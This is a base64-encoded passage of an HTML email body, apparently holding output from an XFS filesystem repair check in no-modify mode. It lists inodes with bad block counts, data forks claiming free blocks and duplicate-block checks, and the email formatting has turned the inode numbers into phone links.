YmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDoxMDc2MjU0NzQ4Ij48Zm9udCBzaXplPSIzIiBjb2xv cj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjEwNzYyNTQ3NDg8L3U+PC9mb250PjwvYT48YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMzkwIGZvciBpbm9kZSA8 L2ZvbnQ+PGEgaHJlZj0idGVsOjE3MDAwNjQwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBG RiIgZmFjZT0ic2VyaWYiPjx1PjE3MDAwNjQwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNDAxPC9mb250Pjxicj4NCjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTcw MDQ4MjQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTcw MDQ4MjQ8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xh aW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MjkyODc5Ij48Zm9udCBzaXplPSIz IiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkyOTI4Nzk8L3U+PC9mb250PjwvYT48 YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+ PGEgaHJlZj0idGVsOjE3MDA0ODI0Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFj ZT0ic2VyaWYiPjx1PjE3MDA0ODI0PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTI5Mjg4 MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MjkyODgw PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxv Y2tzIDEzNDUgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTcwMDQ4MjQiPjxmb250IHNp emU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTcwMDQ4MjQ8L3U+PC9mb250 PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAxMzQ2PC9m b250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAyMSBmb3Ig aW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNzAwNTYyMSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNzAwNTYyMTwvdT48L2ZvbnQ+PC9hPjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDMzPC9mb250Pjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0 ZWw6MTcwMDU5OTUiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+ PHU+MTcwMDU5OTU8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5i c3A7Y2xhaW1zIGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo1MzY1MzY3Ij48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjUzNjUzNjc8L3U+PC9mb250 PjwvYT48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8 L2ZvbnQ+PGEgaHJlZj0idGVsOjE3MDA1OTk1Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBG RiIgZmFjZT0ic2VyaWYiPjx1PjE3MDA1OTk1PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6 NTM2NTM2OCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT41 MzY1MzY4PC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRh dGEgZm9yayBpbiBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNzAxODY5NiI+PGZvbnQgc2l6ZT0i MyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNzAxODY5NjwvdT48L2ZvbnQ+PC9h Pjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2Zv bnQ+PGEgaHJlZj0idGVsOjkzMTYyNzgiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBm YWNlPSJzZXJpZiI+PHU+OTMxNjI3ODwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj5kYXRhIGZvcmsgaW4gaW5vIDwvZm9udD48YSBocmVmPSJ0ZWw6MTcwMTg2 OTYiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTcwMTg2 OTY8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7Y2xhaW1z IGZyZWUgYmxvY2sgPC9mb250PjxhIGhyZWY9InRlbDo5MzE2Mjc5Ij48Zm9udCBzaXplPSIzIiBj b2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjkzMTYyNzk8L3U+PC9mb250PjwvYT48YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ZGF0YSBmb3JrIGluIGlubyA8L2ZvbnQ+PGEg aHJlZj0idGVsOjE3MDE5MTExIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0i c2VyaWYiPjx1PjE3MDE5MTExPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2Vy aWYiPiZuYnNwO2NsYWltcyBmcmVlIGJsb2NrIDwvZm9udD48YSBocmVmPSJ0ZWw6OTMxMTQwMyI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT45MzExNDAzPC91 PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmRhdGEgZm9yayBp biBpbm8gPC9mb250PjxhIGhyZWY9InRlbDoxNzAxOTExMSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNzAxOTExMTwvdT48L2ZvbnQ+PC9hPjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtjbGFpbXMgZnJlZSBibG9jayA8L2ZvbnQ+PGEgaHJl Zj0idGVsOjkzMTE0MDQiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+OTMxMTQwNDwvdT48L2ZvbnQ+PC9hPjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj5iYWQgbmJsb2NrcyAyMzIwIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE3MDE5 MTExIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE3MDE5 MTExPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVz ZXQgdG8gMjMyMzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7 ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSBhZ25vID0gMTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSBhZ25vID0gMjwvZm9u dD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsg Jm5ic3A7LSBhZ25vID0gMzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSBhZ25vID0gNDwvZm9udD48YnI+DQo8Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSBhZ25vID0g NTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7ICZuYnNwOyAm bmJzcDsgJm5ic3A7LSBhZ25vID0gNjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSBwcm9jZXNzIG5ld2x5IGRpc2NvdmVy ZWQgaW5vZGVzLi4uPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5QaGFz ZSA0IC0gY2hlY2sgZm9yIGR1cGxpY2F0ZSBibG9ja3MuLi48L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOy0gc2V0dGluZyB1 cCBkdXBsaWNhdGUgZXh0ZW50IGxpc3QuLi48L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPiZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOy0gY2hlY2sgZm9yIGlub2RlcyBj bGFpbWluZyBkdXBsaWNhdGUgYmxvY2tzLi4uPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj4mbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDstIGFnbm8gPSAwPC9mb250Pjxi cj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJz cDstIGFnbm8gPSAzPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJz cDsgJm5ic3A7ICZuYnNwOyAmbmJzcDstIGFnbm8gPSAyPC9mb250Pjxicj4NCjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj4mbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDstIGFnbm8gPSA0PC9m b250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDsgJm5ic3A7ICZuYnNw OyAmbmJzcDstIGFnbm8gPSA1PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij4mbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDstIGFnbm8gPSAxPC9mb250Pjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDstIGFnbm8g PSA2PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5lbnRyeSAmcXVvdDsx MC42LjExNC4xNDgmcXVvdDsgYXQgYmxvY2sgMjk3IG9mZnNldCA0OTYgaW4gZGlyZWN0b3J5IGlu b2RlIDE5MTI1IHJlZmVyZW5jZXMgZnJlZSBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2OTI3 NzIxIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2OTI3 NzIxPC91PjwvZm9udD48L2E+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNw OyAmbmJzcDsgJm5ic3A7ICZuYnNwO3dvdWxkIGNsZWFyIGlub2RlIG51bWJlciBpbiBlbnRyeSBh dCBvZmZzZXQgNDk2Li4uPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5i YWQgbmJsb2NrcyAyNTYgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3NjQ2NjgiPjxm b250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3NjQ2Njg8L3U+ PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAy NTU8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDUz MCBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjc2Nzg4MiI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc2Nzg4MjwvdT48L2ZvbnQ+PC9hPjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDU0NTwvZm9udD48YnI+ DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMjM5NiBmb3IgaW5vZGUg PC9mb250PjxhIGhyZWY9InRlbDoxNjc3MjU5NiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAw RkYiIGZhY2U9InNlcmlmIj48dT4xNjc3MjU5NjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDIzOTU8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDYyODQgZm9yIGlub2RlIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY3NzU2MTkiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY3NzU2MTk8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+LCB3b3VsZCByZXNldCB0byA2MjkxPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9 InNlcmlmIj5iYWQgbmJsb2NrcyAxMDMgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3 ODA0OTgiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3 ODA0OTg8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCBy ZXNldCB0byAxMDI8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBu ZXh0ZW50cyAyNyBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjc4MDQ5OCI+PGZvbnQg c2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc4MDQ5ODwvdT48L2Zv bnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDI2PC9m b250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyA3NiBmb3Ig aW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjc4MTk1OSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc4MTk1OTwvdT48L2ZvbnQ+PC9hPjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDgxPC9mb250Pjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQga2V5IGluIGJtYnQgcm9vdCAoaXMgMTg1Niwgd291 bGQgcmVzZXQgdG8gMTg0NCkgaW4gaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjc4MjA3MCI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc4MjA3MDwv dT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtkYXRhIGZvcms8 L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDMwNjAg Zm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3ODIwNzAiPjxmb250IHNpemU9IjMiIGNv bG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3ODIwNzA8L3U+PC9mb250PjwvYT48Zm9u dCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAzMDU5PC9mb250Pjxicj4N Cjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmV4dGVudHMgNjQyIGZvciBpbm9kZSA8 L2ZvbnQ+PGEgaHJlZj0idGVsOjE2NzgyMDcwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBG RiIgZmFjZT0ic2VyaWYiPjx1PjE2NzgyMDcwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNjQxPC9mb250Pjxicj4NCjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAzMDI5IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJl Zj0idGVsOjE2NzgzNDAzIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2Vy aWYiPjx1PjE2NzgzNDAzPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi Piwgd291bGQgcmVzZXQgdG8gMzA0MzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+YmFkIG5ibG9ja3MgOTI3IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2Nzgz NDkzIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2Nzgz NDkzPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVz ZXQgdG8gOTI2PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJs b2NrcyA5NzcgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3ODM1NTMiPjxmb250IHNp emU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3ODM1NTM8L3U+PC9mb250 PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byA5NzE8L2Zv bnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDYwIGZvciBp bm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2Nzg2Mzk2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0i IzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2Nzg2Mzk2PC91PjwvZm9udD48L2E+PGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNjU8L2ZvbnQ+PGJyPg0KPGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDcxOSBmb3IgaW5vZGUgPC9mb250Pjxh IGhyZWY9InRlbDoxNjc4NjQxNiI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9 InNlcmlmIj48dT4xNjc4NjQxNjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNl cmlmIj4sIHdvdWxkIHJlc2V0IHRvIDcyMTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+YmFkIG5ibG9ja3MgNTYgZm9yIGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3 ODY4MDMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3 ODY4MDM8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCBy ZXNldCB0byA2NTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5i bG9ja3MgNTM2IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2Nzg3MDEwIj48Zm9udCBz aXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2Nzg3MDEwPC91PjwvZm9u dD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gNTM1PC9m b250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAzMDEgZm9y IGlub2RlIDwvZm9udD48YSBocmVmPSJ0ZWw6MTY3OTIwMjYiPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MTY3OTIwMjY8L3U+PC9mb250PjwvYT48Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAzMDU8L2ZvbnQ+PGJyPg0KPGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDMwNTkgZm9yIGlub2RlIDwvZm9u dD48YSBocmVmPSJ0ZWw6MTY3OTIwNTciPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBm YWNlPSJzZXJpZiI+PHU+MTY3OTIwNTc8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+LCB3b3VsZCByZXNldCB0byAzMDQ1PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMi IGZhY2U9InNlcmlmIj5iYWQgbmV4dGVudHMgNTgwIGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0i dGVsOjE2NzkyMDU3Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYi Pjx1PjE2NzkyMDU3PC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwg d291bGQgcmVzZXQgdG8gNTc5PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlm Ij5iYWQgbmJsb2NrcyA4OCBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjc5MjgyNyI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjc5MjgyNzwv dT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRv IDk3PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmJsb2NrcyAx MTE1IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2Nzk3MzA5Ij48Zm9udCBzaXplPSIz IiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2Nzk3MzA5PC91PjwvZm9udD48L2E+ PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMTEyMTwvZm9udD48 YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMzA3MiBmb3IgaW5v ZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjgwNTIzNSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMw MDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgwNTIzNTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDMwNzE8L2ZvbnQ+PGJyPg0KPGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tzIDMwNDggZm9yIGlub2RlIDwvZm9udD48 YSBocmVmPSJ0ZWw6MTY4MDYyNDIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNl PSJzZXJpZiI+PHU+MTY4MDYyNDI8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+LCB3b3VsZCByZXNldCB0byAzMDU4PC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj5iYWQgbmJsb2NrcyAxMzU1IGZvciBpbm9kZSA8L2ZvbnQ+PGEgaHJlZj0idGVs OjE2ODA5ODQwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1 PjE2ODA5ODQwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiwgd291 bGQgcmVzZXQgdG8gMTM1NDwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ YmFkIG5ibG9ja3MgMjQ2NyBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjgxMjY5NyI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgxMjY5Nzwv dT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRv IDI0NjY8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmJhZCBuYmxvY2tz IDc2NyBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjgyNDI2OSI+PGZvbnQgc2l6ZT0i MyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgyNDI2OTwvdT48L2ZvbnQ+PC9h Pjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIHdvdWxkIHJlc2V0IHRvIDc2OTwvZm9udD48 YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmFkIG5ibG9ja3MgMjc1IGZvciBpbm9k ZSA8L2ZvbnQ+PGEgaHJlZj0idGVsOjE2ODI2MTIwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAw MDBGRiIgZmFjZT0ic2VyaWYiPjx1PjE2ODI2MTIwPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPiwgd291bGQgcmVzZXQgdG8gMjc0PC9mb250Pjxicj4NCjxmb250IHNp emU9IjMiIGZhY2U9InNlcmlmIj5iYWQgbmV4dGVudHMgOTUgZm9yIGlub2RlIDwvZm9udD48YSBo cmVmPSJ0ZWw6MTY4MjYxMjAiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJz ZXJpZiI+PHU+MTY4MjYxMjA8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+LCB3b3VsZCByZXNldCB0byA5NDwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+YmFkIG5ibG9ja3MgMzA2OSBmb3IgaW5vZGUgPC9mb250PjxhIGhyZWY9InRlbDoxNjgy ODQ3MCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4xNjgy 